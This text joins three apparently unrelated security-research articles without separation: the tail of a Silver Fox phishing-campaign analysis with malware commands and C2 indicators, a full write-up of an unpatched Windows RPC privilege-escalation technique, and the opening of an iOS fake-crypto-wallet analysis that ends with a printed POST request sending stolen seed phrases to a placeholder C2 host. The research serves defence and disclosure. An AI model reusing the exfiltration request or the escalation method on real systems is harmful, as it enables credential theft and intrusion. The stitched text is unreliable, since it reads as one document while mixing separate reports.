The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

Intro

Windows Interprocess Communication (IPC) is one of the most complex technologies within the Windows operating system. At the core of this ecosystem is the Remote Procedure Call (RPC) mechanism, which can function as a standalone communication channel or as the underlying transport layer for more advanced interprocess communication technologies. Because of its complexity and widespread use, RPC has historically been a rich source of security issues. Over the years, researchers have identified numerous vulnerabilities in services that rely on RPC, ranging from local privilege escalation to full remote code execution.

In this research, I present a new vulnerability in the RPC architecture that enables a novel local privilege escalation technique likely in all Windows versions. This technique enables processes with impersonation privileges to elevate their permissions to SYSTEM level. Although this vulnerability differs fundamentally from the “Potato” exploit family, Microsoft has not issued a patch despite proper disclosure.

I will demonstrate five different exploitation paths that show how privileges can be escalated from various local or network service contexts to SYSTEM or high-privileged users. Some techniques rely on coercion, some require user interaction and some take advantage of background services. As this issue stems from an architectural weakness, the number of potential attack vectors is effectively unlimited; any new process or service that depends on RPC could introduce another possible escalation path. For this reason, I also outline a methodology for identifying such opportunities.

Finally, I examine possible detection strategies, as well as defensive approaches that can help mitigate such attacks.

MSRPC

Microsoft RPC (Remote Procedure Call) is a Windows technology that enables communication between two processes. It enables one process to invoke functions that are implemented in another process, even though they are running in different execution contexts.

The figure below illustrates this mechanism.

Let us assume that Host A is running two processes: Process A and Process B. Process B needs to execute a function that resides inside Process A. To enable this type of interaction, Windows provides the Remote Procedure Call (RPC) architecture, which follows a client–server model. In this model, Process A acts as the RPC server, exposing its functionality through an interface, in our example, Interface A. Each RPC interface is uniquely identified by a Universally Unique Identifier (UUID), which is represented as a 128-bit value. This identifier enables the operating system to distinguish one interface from another.

The interface defines a set of functions that can be invoked remotely by the RPC client implemented in Process B. In our example, the interface exposes two functions: Fun1 and Fun2.

To communicate with the server, the RPC client must establish a connection through a communication endpoint. An endpoint represents the access point that enables transport between the client and the server. Because RPC supports multiple transport mechanisms, different endpoint types may exist, depending on the underlying transport.

For example:

• When TCP is used as the transport layer, the endpoint is a TCP port.
• When SMB is used, communication occurs through a named pipe.
• When ALPC is used, the endpoint is an ALPC port.

Each transport mechanism is associated with a specific RPC protocol sequence. For instance:

• ncacn_ip_tcp is used for RPC over TCP.
• ncacn_np is used for RPC over named pipes.
• ncalrpc is used for RPC over ALPC.

In this research, I focus specifically on Advanced Local Procedure Call (ALPC) as the RPC transport mechanism. ALPC is a Windows interprocess communication mechanism that predates MSRPC. Today, RPC can leverage ALPC as an efficient transport layer for communication between processes located on the same machine.

For simplicity, an ALPC port can be thought of as a communication channel similar to a file, where processes can send messages by writing to it, and receive messages by reading from it.

When the client wants to invoke a remote function, for example, Fun1, it must construct an RPC request. This request includes several important pieces of information, such as the interface UUID, the protocol sequence, the endpoint, and the function identifier. In RPC, functions are not referenced by name, but by a numerical identifier called the operation number (OPNUM). Depending on the requirements of the call, the request may also contain additional structures, such as security-related information.

Impersonation in Windows

In Windows, impersonation enables a service to temporarily operate using another user’s security context. For example, a service may need to open a file that belongs to a user while performing a specific operation. By impersonating the calling user, the system allows the service to access that file, even if the service itself would not normally have permission to do so. You can read more about impersonation in James Forshaw’s book Windows Security Internals.

This research focuses specifically on RPC impersonation. Instead of describing the interaction as a service and a user, I refer to the participants as a client and a server. In this model, the RPC server may temporarily adopt the identity of the client that initiated the request.

To perform this operation, the RPC server can call the RpcImpersonateClient API, which causes the server thread to execute under the client’s security context.

However, in some situations, a client may not want the server to be able to impersonate its identity. To control this behavior, Windows introduces the concept of an impersonation level. This defines how much authority the client grants the server to act on its behalf.

These settings are defined as part of the Security Quality of Service (SQOS) parameters, specified using the SECURITY_QUALITY_OF_SERVICE structure.

As you can see, this structure contains the impersonation level field, which determines the extent to which the server can assume the client’s identity.

Impersonation levels range from Anonymous, where the server cannot impersonate the client at all, to Impersonate and Delegate, which allow the server to act fully on behalf of the client.

At the same time, not every server process is allowed to impersonate a client. If any process could perform impersonation freely, it would pose a serious security risk. To prevent this, Windows requires the server process to possess a specific privilege called SeImpersonatePrivilege. Only processes with this privilege can successfully impersonate a client.

This privilege is granted by default to certain service accounts, such as Local Service and Network Service.

Interaction between Group Policy service and TermService

The Group Policy Client service (gpsvc) is a core Windows service responsible for applying and enforcing group policy settings on a system. It runs under the SYSTEM account inside svchost.exe.

When a group policy update is triggered, Windows uses an executable called gpupdate.exe. This tool can be executed with the /force flag to force an immediate refresh of all group policy settings. Internally, this executable communicates with the Group Policy service, which coordinates the update process.

At a certain stage during this operation, the Group Policy service attempts to communicate with TermService (Terminal Service, the Remote Desktop Services service) using RPC.

TermService is responsible for providing remote desktop functionality. This service is not running by default and can be enabled manually by the administrator via activation of Remote Desktop access. When this happens, the service exposes an RPC server with multiple interfaces and endpoints. TermService runs under the NT AUTHORITY\Network Service account.

When the command gpupdate /force is executed, the Group Policy service performs an RPC call to the TermService using the following parameters:

• UUID: bde95fdf-eee0-45de-9e12-e5a61cd0d4fe.
• Endpoint: ncalrpc:[TermSrvApi].
• Function: void Proc8(int).

However, because TermService is disabled by default, the RPC call fails and an exception occurs in rpcrt4.dll (the RPC runtime). The returned error is:

• 0x800706BA (RPC_S_SERVER_UNAVAILABLE, 1722).

This error indicates that the RPC client could not reach the target server.

Tracing the failure path further reveals that the root cause originates from a call to NtAlpcConnectPort, which is used by RPC to establish an ALPC connection between processes.

The NtAlpcConnectPort function is responsible for connecting to a specific ALPC port and returning a handle that the client can use for further communication. This function accepts multiple parameters.

The first two parameters include:

• A pointer to the returned port handle.
• The ALPC port name, represented as an ASCII string.

Another important argument is PortAttributes, which is an ALPC_PORT_ATTRIBUTES structure. Inside this structure is the SECURITY_QUALITY_OF_SERVICE structure, which, as mentioned above, defines the impersonation level used for the connection.

The final parameter of interest is RequiredServerSid, which specifies the expected identity of the target server process. This identity is represented using a Security Identifier (SID) structure.

Inspecting this call reveals that the Group Policy service attempts to connect to the RPC server using an impersonation level of Impersonate, expecting the remote server to run under the Network Service account. This behavior makes sense because TermService normally runs under Network Service.

Based on all the information above, the following scheme can be created to illustrate the interaction between TermService and gpsvc.

Up to this point, nothing unusual has occurred. An RPC client attempts to connect to an RPC server that is unavailable, resulting in an exception handled by the RPC runtime.

However, an interesting question arises: What if an attacker compromises a service that runs under the Network Service identity and mimics the exact RPC server exposed by TermService?

Could the attacker deploy a fake RPC server with the same endpoint?

If so, would the RPC runtime allow the client to connect to this illegitimate server?

And if the connection is successful, how could an attacker leverage this behavior?

Coercing the Group Policy service

To better understand the implications of the previously described behavior, let us consider the following attack scenario.

Imagine an attacker has compromised a service running on the system under the Network Service account, for example, an IIS server operating under the Network Service account. With this level of access, the attacker can deploy a malicious RPC server.

The attacker’s RPC server is designed to mimic the RPC interface exposed by the Remote Desktop service (TermService). Specifically, it implements the same RPC interface UUID and exposes the same endpoint name: TermSrvApi. Once deployed, the malicious server listens for RPC requests that would normally be directed to the legitimate RDP service.

Next, the attacker coerces the Group Policy service by triggering a policy update using gpupdate.exe /force. This causes the Group Policy Client service, which runs under the SYSTEM account, to perform the previously described RPC call. As observed earlier, this RPC call uses a high impersonation level (Impersonate).

When the attacker’s fake RPC server receives the request, it calls RpcImpersonateClient. This enables the server thread to impersonate the security context of the calling client, which, in this case, is SYSTEM.

As a result, the attacker can elevate privileges from Network Service to SYSTEM. In our proof-of-concept implementation, the exploit demonstrates privilege escalation by spawning a SYSTEM-level command prompt.

When this attack scenario was first discussed, it was purely theoretical. However, after implementing the malicious RPC server, the experiment confirmed that Windows allowed the server to be deployed and started successfully, and that the RPC runtime permitted the client to connect to the malicious endpoint. This made it possible to reliably escalate privileges from Network Service to SYSTEM using this technique. For this attack to succeed, though, at least one group policy must be applied on the system.

RPC architecture flow

Further investigation revealed that many Windows services attempt to communicate with TermService using RPC. These RPC calls often originate from winsta.dll, which acts as the RPC client component.

Windows processes invoke APIs exposed by winsta.dll; these APIs rely internally on RPC communication with TermService. This pattern is common in Windows; many system DLLs use RPC behind the scenes when their exported APIs are called.

However, it appears that the RPC runtime (rpcrt4.dll) does not provide a mechanism to verify the legitimacy of RPC servers. Moreover, Windows allows another process to deploy an RPC server that exposes the same endpoint as a legitimate service.

As a result, this architectural design introduces a large attack surface because RPC is heavily used across numerous system DLLs. Applications that invoke seemingly benign APIs may unintentionally trigger privileged RPC interactions. Under certain conditions, these interactions could be abused to achieve local privilege escalation without the user’s knowledge.

Identifying RPC calls to unavailable servers

As the issue appears to stem from an architectural weakness, a systematic approach is needed to identify RPC clients attempting to communicate with servers that are unavailable. First, I need a platform capable of monitoring RPC activity and extracting relevant information from each RPC request.

Specifically, I need to capture key RPC metadata, including:

• Interface UUID, endpoint, and OPNUM.
• Impersonation level and RPC status code.
• Client process privilege level, process name, and module path.

This information is critical because it enables me to reconstruct the RPC interaction, mimic the expected RPC server, and determine how the call is triggered.

The platform that provides this capability is Event Tracing for Windows (ETW). ETW is a built-in Windows logging framework that captures both kernel-mode and user-mode events in real time.

Windows provides a tool called logman to collect ETW data. It enables us to create trace sessions, select event providers, and configure the verbosity level of the tracing process. The collected tracing data is stored in an .etl file, which can later be analyzed using tools such as Event Viewer or other ETW analysis utilities.

ETW provides deep visibility into RPC activity without requiring modifications to applications. Through ETW, it is possible to capture detailed RPC information, such as:

• RPC bindings
• Endpoints
• Interface UUIDs
• Authentication details
• Call flow and timing
• RPC status codes

However, I’m not interested in every RPC event. My focus is on RPC call failures, specifically those that return the status RPC_S_SERVER_UNAVAILABLE.

For an event to be relevant to this research, the exception must meet two conditions:

• It must originate from a high-privileged process because impersonating such a process may allow an attacker to escalate privileges to a more powerful security context.
• The RPC call must use a high impersonation level, enabling the server to fully impersonate the client once the connection is established.

I cannot rely solely on the raw ETW output to implement this framework because it contains thousands of events, making manual filtering with standard tools inefficient. Therefore, I need to automate this process. The workflow shown below enables me to efficiently filter and extract only those events that are relevant to this analysis.

After generating the logs as an .etl file, I convert them to JSON format using tools such as etw2json. JSON is a much easier format to process programmatically. In this case, I use a Python script to filter and extract the relevant information.

The filtering process begins with a search for Event ID 1, which corresponds to an RPC stop event. This event indicates that the RPC client has completed the call and the result is available. From this event, I can extract useful information, such as:

• Status code
• Client process name
• Client process ID
• Endpoint

After extracting the status code, I filter for the specific value RPC_S_SERVER_UNAVAILABLE, which indicates that the target server was unreachable during an RPC call. These events represent the scenarios that are of interest.

However, Event ID 1 does not contain all of the required RPC metadata. To obtain the missing information, it is correlated with Event ID 5, which represents the RPC start event. This event is generated when the client initiates the RPC call.

By matching the metadata between Event ID 1 and Event ID 5, I can recover the missing details, including:

• Interface UUID
• OPNUM
• Impersonation level

After correlating and filtering these events, a JSON entry is obtained that is almost ready for analysis. At this stage, the data can be enriched further by adding context that will be helpful when reversing or analyzing the RPC server implementation. For example, the following can be identified:

• The DLL where the RPC interface is implemented
• The location of that DLL
• The number of procedures exposed by the interface

To retrieve this information, I match the UUID with an external RPC interface database. In this case, I used the RPC database, which contains a comprehensive list of RPC interfaces and their corresponding DLL implementations.

At the end of this process, a complete JSON dataset is obtained that can be used for further analysis.

One important observation is that the RPC calls I am looking for may only occur when specific system actions are triggered. Additionally, the resulting exceptions may vary from one system to another depending on which services are enabled or disabled. Therefore, I need a reliable way to generate these RPC exceptions.

In this research, I used several approaches to trigger such events:

1. Monitoring RPC activity during system startup
   I observed RPC activity while the system booted. During startup, many services initialize and perform various RPC calls, which increases the chances of capturing calls to unavailable servers.
2. Triggering administrative operations
   I developed PowerShell scripts that perform common administrative tasks, such as updating Group Policy, changing network settings, or creating new users. These operations often trigger RPC communication and may generate exceptions.
3. Disabling services intentionally
   After observing that Remote Desktop was disabled by default, I extended this idea by disabling additional services one by one and repeating the previous steps. This approach can reveal RPC clients that attempt to connect to services that are no longer available.

Additional privilege escalation paths

After running the logging and monitoring framework described earlier, I identified four additional scenarios that can lead to privilege escalation. The following sections introduce each case and explain how escalation can be achieved.

User interaction: From Edge to RDP

Microsoft Edge (msedge.exe) comes preinstalled on Windows systems. During startup, Edge triggers an RPC call to TermService. This RPC call is performed with a high impersonation level.

As previously discussed, Terminal Service is disabled by default. Because of this, the expected RPC server is unavailable, creating an opportunity for the attack scenario illustrated below.

The attack follows the same initial assumption as before: the attacker has already compromised a process running under the Network Service account. From there, they deploy the same malicious RPC server that mimics the legitimate TermService RPC interface.

However, unlike the previous scenario where the attacker coerced the Group Policy service, no coercion is required this time. Instead, the attacker simply waits for a high-privileged user, such as an administrator, to launch msedge.exe.

When Edge starts, it triggers the RPC client to attempt communication with the expected TermService RPC interface. Because the legitimate server is not running, the request is received by the attacker’s fake RPC server. Since the RPC call is made with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client process.

As a result, the attacker is able to impersonate the administrator-level client and escalate privileges from Network Service to Administrator.

Background services: From WDI to RDP

Some background Windows services periodically attempt to make RPC calls to the RDP service without user interaction. One such service is the WdiSystemHost service. The Diagnostic System Host Service (WDI) is a built-in Windows service that runs system diagnostics and performs troubleshooting tasks. This service runs under the SYSTEM account.

During normal operation, WDI periodically performs background RPC calls to the Remote Desktop service (TermService) using a high impersonation level. These RPC interactions occur automatically every 5–15 minutes and do not require any user input.

This behavior can be abused in a similar manner to the previous attack scenarios, as illustrated in the figure below.

In this case, however, no user interaction or coercion is required. After deploying a malicious RPC server that mimics the expected TermService RPC interface, the attacker only needs to wait for the WDI service to perform its periodic RPC call. Because the request is made with a high impersonation level, the malicious server can invoke RpcImpersonateClient and impersonate the calling process. This enables the attacker to escalate privileges to SYSTEM.

Abusing the Local Service account: From ipconfig to DHCP

Another scenario involves the DHCP Client service, which manages DHCP client operations on Windows systems. This service runs under the Local Service account and is enabled by default.

The DHCP Client service exposes an RPC server with multiple interfaces and endpoints. These interfaces are frequently invoked by various system DLLs, often using a high impersonation level.

In this scenario, instead of compromising a process running under Network Service, it is assumed the attacker has compromised a process running under the Local Service account. I also assume that the DHCP Client service is disabled, meaning the legitimate RPC server is unavailable.

As the figure below illustrates, the attacker can leverage this situation to escalate privileges.

After gaining control of a Local Service process, the attacker deploys a malicious RPC server that mimics the legitimate RPC server normally exposed by the DHCP Client service. Once the malicious server is running, the attacker waits for a high-privileged user, such as an administrator, to execute ipconfig.exe.

When ipconfig is run, it internally triggers an RPC request to the DHCP Client service. Since the legitimate RPC server is not running, the request is received by the attacker’s fake RPC server. Because the RPC call is performed with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client.

As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

Abusing Time

The Windows Time service (W32Time) is responsible for maintaining date and time synchronization across systems in a Windows environment. This service is enabled by default and runs under the Local Service account.

The service exposes an RPC server with two endpoints:

• \PIPE\W32TIME_ALT
• \RPC Control\W32TIME_ALT

The executable C:\Windows\System32\w32tm.exe interacts with the Windows Time service through RPC. However, before connecting to the valid RPC endpoints exposed by the service, the executable first attempts to access the nonexistent named pipe: \PIPE\W32TIME. This named pipe is not exposed by the legitimate W32Time service. However, if this endpoint were available, w32tm.exe would attempt to connect to it.

An attacker can abuse this behavior by deploying a malicious RPC server that mimics the legitimate RPC interface of the Windows Time service. Rather than exposing the legitimate endpoints, the attacker’s server exposes the nonexistent endpoint \PIPE\W32TIME, as shown in the figure below.

As in the previous scenarios, it is assumed the attacker has already compromised a process running under the Local Service account. The attacker then deploys a fake RPC server that implements the same RPC interface as the Windows Time service, but which exposes the alternative endpoint used by w32tm.exe.

Once the malicious server is running, the attacker simply waits for a high-privileged user, such as an administrator, to execute w32tm.exe. When the executable runs, it attempts to connect to the endpoint \PIPE\W32TIME. Because the attacker’s fake server exposes this endpoint, the RPC request is directed to the malicious server.

Since the RPC call is performed with a high impersonation level, the malicious server can impersonate the calling client. As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

In this scenario, it is important to note that the legitimate Windows Time service does not need to be disabled. Because the executable attempts to connect to a nonexistent endpoint, it is sufficient for the attacker to expose that endpoint through the malicious RPC server.

Vulnerability disclosure

After discovering the vulnerability, Kaspersky Security Services prepared a 10-page technical report describing the issue and the various aforementioned exploitation scenarios. The report was submitted to the Microsoft Security Response Center (MSRC) to report the vulnerability and request a fix.

Twenty days later, Microsoft responded, indicating that they did not classify the vulnerability as high severity. According to their assessment, the issue was classified as moderate severity and would therefore not be patched immediately. No CVE would be assigned, and the case would be closed without further tracking.

Microsoft explained that the moderate severity classification was due to the requirement that the originating process had to already possess the SeImpersonatePrivilege privilege. Since this privilege was typically required for the attack to succeed, Microsoft determined that the issue did not require immediate remediation.

Kaspersky Security Services respect Microsoft’s assessment and only published the research after the embargo period ends. In line with the coordinated vulnerability disclosure policy, Kaspersky Security Services will refrain from publishing detailed instructions that could enable or accelerate mass exploitation.

The disclosure timeline is shown below:

• 2025-09-19: Vulnerability reported to Microsoft Security Response Center (Case 101749).
• 2025-10-10: MSRC response – the case was assessed as moderate severity, not eligible for a bounty, no CVE was issued, and the case was closed without further tracking.
• 2026-04-24: expected whitepaper publication date.

Detection and defense

As discussed above, this vulnerability is related to an architectural design behavior. Fully preventing it would require Microsoft to release a patch that addresses the underlying issue.

Nevertheless, organizations can still take steps to detect and mitigate potential abuse. ETW-based monitoring within the framework described above enables defenders to identify RPC exceptions in their environment, especially when RPC clients attempt to connect to unavailable servers.

I have provide the tools used in the previously described framework so that organizations can check their environment for such behavior. You can find all of them in the research repository.

By monitoring these events, administrators can identify situations where legitimate RPC servers are expected but not running. In some cases, the attack surface may be reduced by enabling the corresponding services, ensuring that the legitimate RPC server is available. This can hinder attackers from deploying malicious RPC servers that imitate legitimate endpoints.

It is also good practice to reduce the use of the SeImpersonatePrivilege privilege in processes where it is not required. Some system processes need this privilege for normal operations. However, granting it to custom processes is generally not considered good security practice.

Conclusion

All the exploits described in this research were tested on Windows Server 2022 and Windows Server 2025 with the latest available updates prior to the submission date. The proof-of-concept implementations can be found in the research repository. However, it is highly likely that this issue may also be exploitable on other Windows versions.

Because the vulnerability stems from an architectural design issue, there may be additional attack scenarios beyond those presented in this research. The exact exploitation paths may vary from one system to another depending on factors such as installed software, the DLLs involved in RPC communication, and the availability of corresponding RPC servers.

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic.  The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process

Malicious modules for hot wallets

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger

